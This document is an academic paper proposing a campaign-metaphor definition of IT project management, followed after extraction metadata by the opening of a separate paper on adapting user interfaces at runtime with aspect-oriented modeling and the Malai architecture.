The prominent role of information technology (IT) in the competitiveness and viability of today’s organizations is undeniable [1]. To better understand and explain the central role and value of this technology, IT researchers have directed their efforts over the years towards exploring the use and impact of IT, while devoting less attention to the crucial phase of their development and implementation [2-4]. Indeed, the use, impact and value of IT largely depend on the success of their preceding development and implementation initiatives [5, 6], i.e., the IT projects [7]. Yet, the track record of these initiatives has been dismal with nearly two out of three IT projects failing [8, 9]. It is estimated that on average, IT projects exceed their budgets by 189%, experience 222% schedule overruns, all while delivering 61% of the original specified features and functions [9]. These statistics are not that surprising given that the management of IT projects is non-routine and complex, involves multiple stakeholders, and often spans across many departments, and at times organizations [10-12].
To increase the probability of success of IT projects, researchers and practitioners alike have developed a number of formalized and structured methods and tools for project managers to follow (e.g., PRINCE2, PMBOK Guide, Rational Unified Process, Scrum) [13-15]. It is assumed that following a prescribed set of processes, or using certain tools reduces the complexity of IT projects that enables more control over them, which in turn increases the likelihood of their success [13, 16]. However, despite the prevalent use of these methods and tools by project managers [17, 18], IT project failures and challenges persist [19-21]. In fact, some researchers suggest that the use of these methods and tools may be counterproductive by directing managers’ attention towards a “relatively narrow range of imperatives, […] with the result that managers end up losing sight of the totality of the project” [13, p. 153].
This view is supported by researchers who attribute IT project failure and poor performance to issues that include stakeholder resistance [22, 23], interpersonal conflicts [24, 25], cross-cultural differences [26], IT project managers’ status reporting behaviors [27], stakeholders’ mutual understanding [28], integration of fragmented pockets of specialized knowledge [29], and IT project leadership [30], rather than methodological or technical issues [8, 11, 13, 31]. These IT project failures and issues indicate the need to view the management of these projects not only from a traditional technical ‘command and control’ view, but by also adopting an extended view [32] which takes into consideration the organizational, social and political aspects of IT project management (ITPM) [33-35].
As such, in the next section, we argue that in addition to being technical implementations, IT projects need to be also considered as organizational change initiatives that potentially transform people’s work, reward structures, and organizational structure and performance [36, 37]. Hence, IT projects are multifaceted, and require that project managers orchestrate a variety of activities during these initiatives. Specifically, we propose that project managers view IT projects not only as technical initiatives guided by the use of project management methods and tools, but also as organizational change initiatives [37]. With this objective, we draw on the “campaign” metaphor proposed by Hirschhorn [34,
in section 3 to develop a conceptual definition of ITPM that defines its properties, i.e., the essential activities to manage an IT project, and its entities, i.e., the person or team responsible for achieving an IT project’s objectives [39]. We then provide a conceptual definition and its implications for practice in section 4, and the paper concludes in section 5 by summarizing the importance of the proposed conceptualization and possible future work.
2. IT projects as organizational change initiatives
Several IT researchers suggest that existing conceptualizations of project management (PM) and ITPM are narrowly defined and do not reflect the required activities to effectively manage IT projects [e.g. 40, 41, 42]. While some researchers suggest viewing PM from a different perspective than the prevalent existing view [40], others have specifically called on viewing ITPM as a multifaceted construct [11, 41, 42]. For example, Morris [40] suggests using the “management of the project” expression rather than PM to put the focus on the project itself and its position in the organization. On the other hand, Keil et al. [42] called for the development of a composite model of ITPM by enlarging the underlying range of PM practices, and Barki [41] argued that conceptualizing ITPM as a global construct is likely to be useful since “managing IT projects is a complex task which often requires that managers pay simultaneous attention to many project aspects” (p.7) including the project processes, technical knowledge, team members, inter-relational dynamics, various stakeholders, and the organizational governance structure [11, 43, 44].
As such, in addition to developing and introducing new technological capabilities, IT projects can also generate organizational transformations that include redesigning business processes, increasing collaboration, transforming roles and responsibilities, and generating new performance metrics [37]. Markus [36] notes that an effective IT project “requires a different kind of attention to the features of the ‘solution’ and different change process from those prescribed by either IT project management or organizational change management” (p. 5, italics in original). While ITPM approaches focus on delivering systems on time, within budget, and according to the specified requirements, they do not control for people’s use, resistance, or failure to extract value from the IT [11, 45]. On the other hand, while change management programs focus on motivating and training people to promote organizational readiness to the change, they do not guarantee a technical solution that aligns with the needs of – or provides value to – the users and the organization [46]. Accordingly, viewing ITPM as a multidimensional construct that is comprised of distinct activities is necessary for effectively managing an IT project. A multidimensional construct could provide a more comprehensive account of the various activities IT project managers can undertake, in addition to providing actionable, context-based guidance according to the project’s characteristics rather than a standard approach to all projects [11, 25, 47]. This profile view of ITPM may be more useful for researchers and practitioners who can then recommend effective activity profiles based on each project’s specific characteristics and context [48, 49]. For example, this approach would determine if some types of projects may require additional activities such as user participation or planning while others may not. In this view, the profile dimensions form the construct. Thus, the objective of this paper is to draw on the campaign metaphor to identify three main dimensions of the ITPM profile construct along with their key underlying activities [34].
3. IT project management as a campaign-driven metaphor
A metaphor is a device that can be used to frame a problem and help to better understand a situation by highlighting the correspondence between two phenomena [50]. Although the correspondences can never be complete, metaphors illuminate particular features of a phenomenon and obscure others [51]. Metaphors are more than linguistics devices, they are means that help “people create their relationship with the world” [13, p.152]. Thus, choosing a metaphor is critical since it influences how a particular phenomenon is perceived [52]. Using a metaphor can be particularly instrumental in proposing a conceptual definition of ITPM [50]. Indeed, it can provide a scientifically useful [53] and parsimonious [54] view of the different ITPM dimensions [40] while providing insights regarding its underlying activities [41, 55]. In this paper, we employ the “campaign” metaphor to develop a ITPM conceptual definition and identify its underlying dimensions [34, 39, 52].
A campaign can be defined as “a connected series of military operations forming a distinct phase of a war”[56]. By transposing this definition to an organizational context, ITPM can be viewed as a connected series of organizational operations or activities that form a distinct phase of a project. While the military campaign metaphor aligns with the
traditional PM view by focusing on the operational aspect, two other important types of campaigns can be potentially instructive in the conceptualization of ITPM: an election campaign and an advertising campaign [34, 52]. Although these three types of campaigns have different objectives and strategies, like managing IT projects, orchestrating these initiatives requires knowledge about the project objectives, processes and context to achieve them [57, 58]. The campaign metaphor is potentially helpful to develop a conceptual definition of ITPM given that the challenges facing IT project managers parallel those facing political candidates, advertisement designers, and military commanders. We believe that these three campaign types can help define a broader multidimensional view of ITPM. More specifically, these campaign dimensions should be understood as what project managers orchestrate when managing IT projects.
We propose that in order to deliver successful projects, IT project managers should engage in the three types of campaigns that are comprised of specific activities. Further, the intensity of each ITPM activity is likely to be contingent on the project characteristics (e.g., level of risk, ambiguity, nonroutineness), the tasks to accomplish, the individuals involved, the context, and the success criteria [12, 59, 60]. Drawing on the existing literature [e.g. 11, 60, 61, 62-64], we briefly describe the underlying activities of each campaign in the following sections.
3.1. From election campaign metaphor to diplomatic activities (D)
An election campaign can be defined as “the process by which a campaign organization (be it a party, a candidate, or a special interest organization) seek to maximize electoral gains (e.g., maximize the vote, stress particular set of issues, etc.). It consists of all those efforts (promotional or financial) made by the campaign organization to meet that goal” [65, p.161]. As a result, candidates in election campaigns have to set up an organizational structure that will help them garner the support and the involvement of many stakeholders who may have conflicting needs and demands.
Likewise, IT project managers have to create a temporary structure and negotiate with different stakeholders (e.g. users, project team members, consultants, top management) that may have conflicting needs and requirements in order to get their support and contribution [43, 52]. As mentioned by Kling and Iacono [52], “the organizational politics metaphor is the most interesting explanation of computing developments” (p.1219). Thus, the key activities that stem from the election campaign metaphor that inform the conceptual definition of ITPM construct are: D1. Setting up an IT project structure (i.e., project governance and team composition); D2: Supervising stakeholders (i.e., conflict management and negotiation); D3: Forging coalitions (i.e., support, collaboration, and establishing cooperation) and D4. Involving stakeholders (i.e., stakeholders’ participation and involvement).
3.1.1. Setting up an IT project structure (D1).
Several IT researchers have noted that IT project outcomes are influenced by the project team composition, allocation, and structure [66, 67]. More specifically, governance modes (e.g., centralized or decentralized) and project structures (e.g., functional to projectized) [68, 69] have resulted in different project success outcomes in terms of adherence to budget and schedule, system quality, value to organization, or use. This is not surprising given that project governance models and structures influence project team members’ behaviors as well as those of the various stakeholders [12]. Yet, even if formal structures are put in place to ensure consistency and continuity in an IT project, informal structures such as informal networks or process committees may also be necessary to adapt to project changes or overcome roadblocks that arise in the project’s lifespan [62, 70].
3.1.2. Supervising IT project stakeholders (D2).
During an IT project, the project manager and project team face various demands from different stakeholders such as regulatory, architectural, financial, and security aspects. At times, these stakeholders’ demands and interests are conflicting and pose different priorities [43] that may jeopardize the project success [10, 52, 71]. In spite of these conflicting needs, stakeholders possess complementary skills and knowledge that are crucial to the success of an IT project [72, 73]. IT project managers need to balance these needs. Boehm and Ross [74] proposed the Theory-W (making every stakeholder a winner), which is a software project management theory that recognizes the importance of all the key IT project stakeholders. Therefore, stakeholder management is identified as one of the most important practices IT project managers should focus on to improve the success of their project [8].
3.1.3. Forging coalitions (D3).
In an election campaign, a political candidate has to create strong coalitions to support his/her campaign and increase his/her chances of winning the election [75]. A project
manager faces similar challenges in an IT project, where getting and maintaining support is key to project success. This includes top management support [43, 76] and coalitions with other various stakeholders given the pluralistic decision-making process in IT projects [52, 77, 78]. These coalitions cannot be established overnight. The process of coalition building that includes the development of shared language, beliefs, and values, has to begin as early as possible as it also serves as a mean to gain legitimacy and to build credibility for the IT project manager and project team [52, 58].
3.1.4. Involving stakeholders (D4). The participation of users in the development process is another crucial element for the success of an IT project [72]. Users not only possess knowledge about the processes, but also about the organization and the different stakeholders. This knowledge and information need to be shared with the project team in order to develop and implement an effective IT that is adapted and suitable for the project’s context. In addition, users often participate in project activities and exercise some control over the project’s progress [57, 72, 79].
3.2. From advertising campaign metaphor to promotional activities (P)
An advertisement campaign is defined as “a series of steps or operations, focusing on the interrelationships of the various elements [of a marketing communication plan]. This plan outlines the activities, ideas, and executions that take place in order to achieve campaign objectives” [80, p.3-4]. As such, an advertisement campaign designer has to identify a set of values and/or expectations associated with the campaign’s objectives, identify and understand the targeted audiences’ needs and preferences, construct and disseminate effective messages to the targeted audiences, ensure message consistency, anticipate and communicate changes, stimulate positive attitudes towards the change, and motivate the target audience to use the product and service.
In a similar fashion, IT project managers need to envision their IT projects and outcomes, develop and communicate the IT projects’ vision to the stakeholders, garner and motivate them to work in collaboration, and promote organizational readiness for the change. Thus, the key activities that stem from the advertising campaign metaphor that inform ITPM construct activities are: P1. Creating a vision (i.e., visioning); P2. Communicating key messages (i.e., communicating), P3. Ensuring adoption of new behaviors (i.e., change management) and P4. Motivating the project team (i.e., motivating).
3.2.1. Creating a vision (P1). Most IT projects are about bringing organizational change. However, individuals in organizations do not always question the way work is accomplished. Therefore, questioning current practices and creating a vision of more effective ones should facilitate change and increase the probability of project success [81, 82]. While Scott-Morton [83] noted that the beneficial enabling aspects of IT cannot be realized without having clear business purposes and vision of what the organization and the IT should become, Feeny and Willcocks [84] have identified business and IT vision as organizations’ core IT capabilities. Thus, it is key for IT project managers to develop and communicate a clear and stimulating IT project vision.
3.2.2. Communicating key messages (P2). Open communication between a project team and the various stakeholders in IT projects has been positively related to project performance [85]. Indeed, prior IT research has shown that the quality of communication between users and developers influences IT project success [86] especially in terms of IT quality [87, 88]. Thus, it is essential for IT project managers to develop and maintain direct, clear and transparent communication with the team members but also with the various stakeholders.
3.2.3. Ensuring adoption of new behaviors (P3). The success of an IT project hinges on how the change is managed before, during and after an IT project [43, 58]. In fact, change management is identified as one of the most important elements in an IT specialist’s tool box [28, 58]. Most often, IT projects bring about organizational change that is directed and implemented by people. In order to ensure that this change materializes and adds value to the organization and its stakeholders, individuals need to make informed choices regarding the project process and its anticipated consequences, and accept the responsibility of their own behaviors [28, 58, 89]. Thus, preparing both individuals and organizations for the changes induced by an IT project is a key activity in ITPM.
3.2.4. Motivating the project team (P4). The motivation of project team members is a daunting task for any IT project manager [90]. However, this task may even become more challenging with globally distributed team members, vendors, consultants and third-party vendors [58]. Thus, motivating and keeping IT projects’ team members and stakeholders focused is likely to require more time and attention.
from IT project managers and is essential to increase the probability of success of such initiatives [57, 91].
3.3. From military campaign metaphor to martial activities (M)
A military campaign is defined as “set of operations, typically accomplished in phases, to accomplish the mission of a combatant, commander or an associated objective” [92, p. 96]. A military commander must establish the scope of the campaign, its limits, the timing and sequence of assaults, as well as anticipate and monitor any changes on the ground that may influence the campaign’s progress.
Similarly, IT project managers have to deploy similar activities in IT project such as establishing the project’s scope and plan; estimating the required budget, time, and human resources; coordinating all the project tasks; as well as anticipating and monitoring any events that could impact the project’s progress [44]. Thus, the key activities that stem from the military campaign metaphor that inform the ITPM construct are: i.e., M1. Establishing the project scope, plan, budget and schedule, M2. Orchestrating the project tasks and resources (i.e., coordinating), M3. Anticipating undesirable events (i.e., risk management), and M4. Monitoring and controlling the project progress (i.e., monitoring and control).
3.3.1. Establishing the project scope, plan, budget and schedule (M1). In a military campaign, establishing a plan is crucial to dominate the opponent [92]. Even if the underlying objectives of an IT project are totally different from a those of a military campaign, the project planning process is a central theme in the PM literature and focuses on defining and refining objectives and tasks [44]. Some researchers have identified underlying activities of the planning process such identifying success criteria deliverables, and developing a contingency plan [42]; in addition to estimating the time, effort, cost, and resources required to accomplish the project tasks [57]. In this respect, previous IT research has found a strong relationship between project planning and the attainment of time and budget objectives [93], especially for complex IT projects that require more formal and detailed planning [57]. It is established that even iterative agile approaches such as Scrum require a certain level of planning [15].
3.3.2. Orchestrating the project task and resources (M2). Just like a military commander who must orchestrate different battles at different times, an IT project manager needs to coordinate various tasks and resources to meet the project objectives [67, 94]. This coordination process integrates and links the various project elements together in order to accomplish specific tasks [57]. There are multiple coordination challenges as project team members may work on different tasks at the same time, while multiple members may also work on the same task simultaneously. Adding to this coordination challenge is the fact that each stakeholder brings a different set of knowledge and perspective that needs to be integrated into a coherent effort [10, 67].
3.3.3. Anticipating undesirable events (M3). In a military campaign, anticipating the enemies’ maneuvers and reacting accordingly can mean the difference between success or failure. IT project managers also have to anticipate future events and act accordingly to increase the probability of project success [95]. This has been addressed under risk management, which is about proactively identifying, evaluating, and controlling project elements that could go awry [8]. Thus, the management of IT project risks is a challenging but key activity [96].
3.3.4. Monitoring and controlling the project progress (M4). In order to effectively use resources during a battle, a military commander monitors the various activities of a military campaign [92]. In a similar vein, IT project monitoring entails “collecting, measuring and disseminating performance information and assessing measurement and trends to effect process improvement” [44]. This monitoring provides feedback to the IT project manager and team who can then compare their progress with what was planned and make the necessary adjustments [57, 97].
4. IT project management: A conceptual definition proposition
The “campaign” metaphor was used as a springboard to propose a new conceptual definition of ITPM. Based on the election, advertising and military campaign metaphors, key underlying activities of the ITPM construct have been identified and grouped under three main dimensions: diplomatic, promotional and martial. Each dimension covers different yet complementary essential activities orchestrated by IT project managers or the project team to increase the probability of a successful IT project. According to this view and based on the dimensions and activities identified above, we propose the following ITPM conceptual definition [39, 41]:
A dynamic and complementary set of diplomatic (i.e., D1. Setting up an IT project structure, D2.
Supervising stakeholders, D3. Forging coalitions, D4. Involving stakeholders);
**promotional** (i.e., P1. Creating a vision, P2. Communicating key messages, P3. Ensuring adoption of new behaviors, P4. Motivating the project team) and
martial activities (i.e., M1. Establishing the project scope, plan, budget and schedule, M2. Orchestrating the project tasks and resources, M3. Anticipating the undesirable events, M4. Monitor and control the project progress), that are undertaken and orchestrated by a project manager or a project team during an IT project in order to meet the project objectives, within a set of contextual constraints.
As recommended by Podsakoff et al. [39], this conceptual definition of ITPM describes the type of property, i.e. “the nature of the phenomenon (e.g., intrinsic characteristics, thoughts, feeling, perception, actions, or performance metrics) to which the focal concept refers” (p. 192) as well as the entity to which the property applies, i.e. “specify the object or event [e.g., person, task, process, relationship, dyad, group, team, organization, culture, etc.] to which the property applies” (p. 192). The diplomatic, promotional and martial activities described in the ITPM definition capture the nature of the phenomenon. The definition also establishes the dynamic and complementary nature of these activities during an IT project. In addition, the proposed ITPM definition also underlines the entity to which the property applies by identifying the role of the IT project manager and team.
### 4.1. Control mechanisms: ITPM activities in practice
While we argue that project managers need to undertake and orchestrate all the above ITPM activities for effective project success, their ability to monitor and control these activities may vary. The level of activity control can be informed by the organizational control framework which implies that the regulation of stakeholders’ behaviors is exercised through control mechanisms, i.e., activities and/or structures, in order to motivate them to achieve desired project objectives [31, 60, 63, 98]. Likewise, the underlying activities of ITPM can be viewed as mechanisms used by IT project managers to motivate the projects’ stakeholders to meet the project objectives [99-101]. Because the three dimensions of ITPM encompass 12 key activities orchestrated by project managers to regulate stakeholders’ behaviors in IT projects, we conjecture that each of the three ITPM dimensions can be viewed as clusters of control mechanisms.
More specifically, as presented in Figure 1, we conjecture that the level of enactment of each one of the twelve ITPM activities depends on 1) the level of project-related knowledge and skills, and 2) the ability to capture activities characteristics, i.e., behavior observability and outcome measurability. Thus, the orchestration of ITPM activities by an IT project manager or a team will depend on the level of project-related information, knowledge, and skills required. In addition, it will depend on the extent to which the ITPM activities enacted can be observed by the IT project managers and to what extent the outputs of these activities can be measured and evaluated. Accordingly, these two dimensions translate into a diagonal continuum representing the level of formalization of each activity as shown in Figure 1. Hence, while project activities with clearer procedures and measurable outputs can be more formally evaluated and controlled, those with less observable outcomes and more ambiguous procedures are less amenable to standard evaluation and control.
Similarly, although each IT project is unique, based on the authors’ own experience, Figure 1 shows the level of control a project manager has over the 12 ITPM activities during a ‘typical’ large organizational IT project. These activities have been positioned according to the level of project-related knowledge and skills required, as well as the extent to which the activities are observable and their outcomes can be measured.
Figure 1 could help researchers better understand and study the phenomenon of ITPM by identifying, describing and characterizing the key activities required to successfully manage an IT project. For practitioners, these elements should serve as guideline for how to manage IT projects.
With this in mind, the proposed ITPM activities can be combined in various configurations to provide project managers with actionable advice that enable them to manage an IT project according to its specific constraints and context [12, 102, 103]. According to the project context and progress, some ITPM activities will be more predominant than others. For example, during the initiation phase of an IT project, a high-level of planning might be appropriate, while little monitoring is necessary. Thus, the proposed ITPM conceptual definition should be considered as a multidimensional and configurable (i.e., profile) concept [25, 47].
### 5. Conclusion
Drawing on the campaign metaphor, we identify three dimensions, i.e., diplomatic, martial and promotional, composed of a number of activities that
underlie ITPM. We believe this conceptualization of ITPM extends existing views to encompass what projects managers need to do and orchestrate for effective IS project management.
Future empirical research could help validate and refine this conceptualization and explore its relation to IT project team performance and project success. Further, the proposed ITPM activities can be operationalized following suggested guidelines used in qualitative [104-106] or quantitative studies [104, 107]. More significantly, the proposed multidimensional and configurable ITPM conceptualization could be used to identify the best fit between the various management activities and the different IT project characteristics and contexts [48, 58]. Other research avenues could also be to follow to explore the relations between the proposed ITPM conceptualization and other phenomena in the field such as project escalation [108] or user resistance [109]. Future research may also examine the effect of different project settings (i.e., social, cultural, or organizational) on the maintenance and enactment of the different ITPM activities [110].
![Figure 1. ITPM activities positioned in the organizational control framework (adapted from Ouchi [63], Snell [60])](image)
**6. References**
|
{"Source-Url": "https://scholarspace.manoa.hawaii.edu/server/api/core/bitstreams/c24f0d0d-f93e-4f22-a2b8-f9cb7852af92/content", "len_cl100k_base": 6156, "olmocr-version": "0.1.53", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 40724, "total-output-tokens": 9267, "length": "2e12", "weborganizer": {"__label__adult": 0.0006890296936035156, "__label__art_design": 0.0020389556884765625, "__label__crime_law": 0.0012521743774414062, "__label__education_jobs": 0.1146240234375, "__label__entertainment": 0.000392913818359375, "__label__fashion_beauty": 0.0004329681396484375, "__label__finance_business": 0.11712646484375, "__label__food_dining": 0.0008263587951660156, "__label__games": 0.0018796920776367188, "__label__hardware": 0.001651763916015625, "__label__health": 0.001953125, "__label__history": 0.0013141632080078125, "__label__home_hobbies": 0.0008053779602050781, "__label__industrial": 0.00276947021484375, "__label__literature": 0.0020294189453125, "__label__politics": 0.0009946823120117188, "__label__religion": 0.0008692741394042969, "__label__science_tech": 0.23291015625, "__label__social_life": 0.0007300376892089844, "__label__software": 0.09393310546875, "__label__software_dev": 0.41845703125, "__label__sports_fitness": 0.0004782676696777344, "__label__transportation": 0.0011262893676757812, "__label__travel": 0.0006465911865234375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 38323, 0.04395]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 38323, 0.36683]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 38323, 0.91356]], "google_gemma-3-12b-it_contains_pii": [[0, 4392, false], [4392, 9546, null], [9546, 14688, null], [14688, 19774, null], [19774, 24766, null], [24766, 29899, null], [29899, 32604, null], [32604, 32604, null], [32604, 38323, null], [38323, 38323, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4392, true], [4392, 9546, null], [9546, 14688, null], [14688, 19774, null], [19774, 24766, null], [24766, 29899, null], [29899, 32604, null], [32604, 32604, null], [32604, 38323, null], [38323, 38323, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 38323, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 38323, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 38323, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 38323, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 38323, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 38323, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 38323, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 38323, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 38323, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 38323, null]], "pdf_page_numbers": [[0, 4392, 1], [4392, 9546, 2], [9546, 14688, 3], [14688, 19774, 4], [19774, 24766, 5], [24766, 29899, 6], [29899, 32604, 7], [32604, 32604, 8], [32604, 38323, 9], [38323, 38323, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 38323, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
3a5941e84dbeaca7ed247b729fec2f72c8d05154
|
Combining Aspect-Oriented Modeling with Property-Based Reasoning to Improve User Interface Adaptation
Arnaud Blouin, Brice Morin, Olivier Beaudoux, Grégory Nain, Patrick Albers, Jean-Marc Jézéquel
To cite this version:
HAL Id: inria-00590891
https://inria.hal.science/inria-00590891
Submitted on 5 May 2011
HAL is a multi-disciplinary open access archive for the deposit and dissemination of scientific research documents, whether they are published or not. The documents may come from teaching and research institutions in France or abroad, or from public or private research centers. L’archive ouverte pluridisciplinaire HAL, est destinée au dépôt et à la diffusion de documents scientifiques de niveau recherche, publiés ou non, émanant des établissements d’enseignement et de recherche français ou étrangers, des laboratoires publics ou privés.
Combining Aspect-Oriented Modeling with Property-Based Reasoning to Improve User Interface Adaptation
Arnaud Blouin
IRISA, Triskell, Rennes
arnaud.blouin@inria.fr
Brice Morin
SINTEF ICT, Oslo
brice.morin@sintef.no
Olivier Beaudoux
ESEO-GRI, Angers
olivier.beaudoux@eseo.fr
Grégory Nain
INRIA, Triskell, Rennes
gregory.nain@inria.fr
Patrick Albers
ESEO-GRI, Angers
patrick.albers@eseo.fr
Jean-Marc Jézéquel
IRISA, Triskell, Rennes
jezequel@irisa.fr
ABSTRACT
User interface adaptations can be performed at runtime to dynamically reflect any change of context. Complex user interfaces and contexts can lead to the combinatorial explosion of the number of possible adaptations. Thus, dynamic adaptations come across the issue of adapting user interfaces in a reasonable time-slot with limited resources. In this paper, we propose to combine aspect-oriented modeling with property-based reasoning to tame complex and dynamic user interfaces. At runtime and in a limited time-slot, this combination enables efficient reasoning on the current context and on the available user interface components to provide a well suited adaptation. The proposed approach has been evaluated through EnTiMid, a middleware for home automation.
Author Keywords
MDE, user interface, context, adaptation, aspect, runtime, malai
ACM Classification Keywords
H.5.2 Information Interfaces and Presentation: User Interfaces—Theory and methods, User Interface Management Systems (UIMS); D.2.1 Software Engineering: Requirements/Specifications—Methodologies; H.1.0 Information Systems: Models and Principles—General
General Terms
Design
INTRODUCTION
The number of platforms having various interaction modalities (e.g., netbook and smart phone) unceasingly increases over the last decade. Besides, user’s preferences, characteristics and environment have to be considered by user interfaces (UI). This triplet <platform, user, environment>, called context1 [8], [leads user interfaces to be dynamically (i.e. at runtime) adaptable to reflect any change of context.
UI components such as tasks and interactions, enabled for a given context but disabled for another one, cause a wide number of possible adaptations. For example, [14] describes an airport crisis management system that leads to 1,474,560 possible adaptations. Thus, an important challenge is to support UI adaptation of complex systems. This implies that dynamic adaptations must be performed in a minimal time, and respecting usability.
The contribution of this paper is to propose an approach that combines aspect-oriented modeling (AOM) with property-based reasoning to tackle the combinatorial explosion of UI adaptations. AOM approaches provide advanced mechanisms for encapsulating cross-cutting features and for composing them to form models [1]. AOM has been successfully applied for the dynamic adaptation of systems [20]. Property-based reasoning consists in tagging objects that compose the system with characterizing properties [14]. At runtime, these properties are used by a reasoner to perform the adaptation the best suited to the current context. Reasoning on a limited number of aspects combined with the use of properties avoids the combinatorial explosion issue. Although these works tackle system adaptation at runtime, they do not focus on the dynamic adaptation of UIs. Thus, we mixed these works with Malai, a modular architecture for interactive systems [4], to bring complex and dynamic user interface adaptations under control. We have applied our approach to EnTiMid, a middleware for home automation.
The paper is organized as follows. The next section introduces background research works used by our ap-
1In this paper, the term ”context” is used instead of ”context of use” for conciseness.
proach. Then, the process to create an adaptive UI using our approach is explained. Next, the adaptation process that is automatically executed at runtime is detailed. Following, our approach is evaluated through EnTiMiD, a middleware for house automation. The paper ends with the related work and the conclusion.
BACKGROUND
The work presented in this paper brings an interactive system architecture and a software engineering approach together. Thus, this section starts with the presentation of the Malai architecture. The software engineering approach applied to Malai to allow complex UI adaptations at runtime is then introduced.
The Malai Architecture
The work presented in this paper is based on Malai, an architectural model for interactive systems [4]. In Malai a UI is composed of presentations and instruments (see Figure 1). A presentation is composed of an abstract presentation and a concrete presentation. An abstract presentation is a representation of source data created by a Malan mapping (link ③). A concrete presentation is the graphical representation of the abstract presentation. It is created and updated by another Malan mapping (link ⑤). An interaction consumes events produced by input devices (link ③). Instruments transform input interactions into output actions (link ④). An action is executed on the abstract presentation (link ⑤); source data and the concrete presentation are then updated throughout a Malan mapping (link ⑥).
Figure 1. Organization of the architectural model Malai
Malai aims at improving: 1) the modularity by considering presentations, instruments, interactions, and actions, as reusable first-class objects; 2) the usability by being able to specify feedback provided to users within instruments, to abort interactions, and to undo/redo actions. Malai is well-suited for UI adaptation because of its modularity: depending on the context, interactions, instruments, and presentations, can be easily composed to form an adapted UI. However, Malai does not provide any runtime adaptation process. The next section introduces the research work on dynamic adaptive system that has been applied to Malai for this purpose.
Dynamically Adaptive Systems
The DiVA consortium proposes an adaptation metamodel to describe and drive the adaptation logic of Dynamically Adaptive Systems (DAS) [14]. The core idea is to design DAS by focusing on the commonalities and variabilities of the system instead of analyzing on all the possible configurations of the system. The features of the system are refined into independent fragments called aspect models. On each context change, the aspect models well adapted to the new context are selected and woven together to form a new model of the system. This model is finally compared to the current model of the system and a safe migration is computed to adapt the running system [20].
The selection of the features adapted to the current context is performed by a reasoning mechanism based on multi-objective optimization using QoS Properties. QoS properties correspond to objectives that the reasoner must optimize. For example, the properties of the system described in [14] are security, CPU consumption, cost, performances, and disturbance. The importance of each property is balanced depending on the context. For instance, if the system is running on battery, minimizing CPU consumption will be more important than maximizing performances. The developer can specify the impact of the system’s features on each property. For example, video surveillance feature highly maximizes security but does not minimize CPU consuming. The reasoner analyzes these impacts to select features the best suited to the current context.
If DiVA proposes an approach that tames dynamic adaptations of complex systems, it lacks at considering UI adaptations. The following sections describe the combined use of Malai and DiVA to bring adaptations of complex interactive systems under control.
CONCEPTION PROCESS
This section describes the different steps that developers have to perform during the conception of adaptable UIs. The first step consists in defining the context and the action models. Then a mapping between these two models can be defined to specify which context elements disable actions. The last step consists in defining the presentations and the instruments that can be selected at runtime to compose the UI.
All these models are defined using Kermeta. Kermeta is a model-oriented language that allows developers to define both the structure and the behavior of models [21]. Kermeta is thus dedicated to the definition of executable models.
Context Definition
A context model is composed of the three class models User, Platform, and Environment that describe each
context component. Developers can thus define their own context triples without being limited to a specific context metamodel.
Each class of a class model can be tagged with QoS properties. These properties bring information about objectives that demand top, medium, or low priority during UIs adaptation. For instance, Listing 1 defines an excerpt of the user class model for a home automation system. Properties are defined as annotations on the targeted class. This class model specifies that a user can be an elderly person (line 3) or a nurse (line 6). Class ElderlyPerson is tagged with two properties. Property readability (line 1) concerns the simplicity of reading of UIs. Its value high states that the readability of UIs must be strongly considered during adaptations to elderly people. For instance, large buttons would be more convenient for elderly people than small ones. Property simplicity (line 2) specifies the simplicity of the UI. Since elderly people usually prefer simple interaction, this property is set to high on class ElderlyPerson.
```
@readability "high"
@simplicity "high"
class ElderlyPerson inherits User {
class Nurse inherits User {
Listing 1. Context excerpt tagged with QoS properties
```
By default properties are set to "low". For example with Listing 1, property readability is defined on class ElderlyPerson but not on class Nurse. It means that by default Nurse has property readability set to "low".
All the properties of the current context should be maximized. But adapting UIs is a multiobjective problem where all objectives (i.e. QoS properties) cannot be maximized together; a compromise must be found. For example, a developer may prefer productivity to the aesthetic quality of UIs even if maximizing both would be better. Values associated with properties aim at balancing these objectives.
Our approach does not provide predefined properties. Developers add their own properties on the UI components and the context. The unique constraint for the developers is to reuse in the context model properties defined in UI components and vice versa. Indeed, properties of the current context are gathered at runtime to then select the most respectfully UI components towards these properties. The efficiency of the reasoner thus depends on the appropriate definition of properties by the developers.
**Actions Definition**
Actions are objects created by instruments. Actions modify the source data or parameters of instruments. The main difference between actions and tasks, such as CTT tasks [22], is that the Malai’s action metamodel defines a life cycle composed of methods do, canDo, undo, and redo. These methods, that an action model must implement, bring executability to actions. Method canDo checks if the action can be executed. Methods do, undo, and redo respectively executes, cancels, and re-executes the action. An action is also associated to a class which defines the attributes of the action and relations with other actions.
```
abstract class NurseAction inherits Action {}
class AddNurseVisit inherits NurseAction, Undoable{
reference calendar : Calendar
attribute date : Date
attribute title : String
attribute event : Event
method canDo() : Boolean is do
result := calendar.canAddEvent(date)
end
method do() : Void is do
event := calendar.addEvent(title, date)
end
method undo() : Void is do
calendar.removeEvent(title, date)
end
method redo() : Void is do
calendar.addEvent(event)
end
}
class CallEmergencyService inherits NurseAction{
// ...
}
```
Listing 2. Excerpt of nurse actions
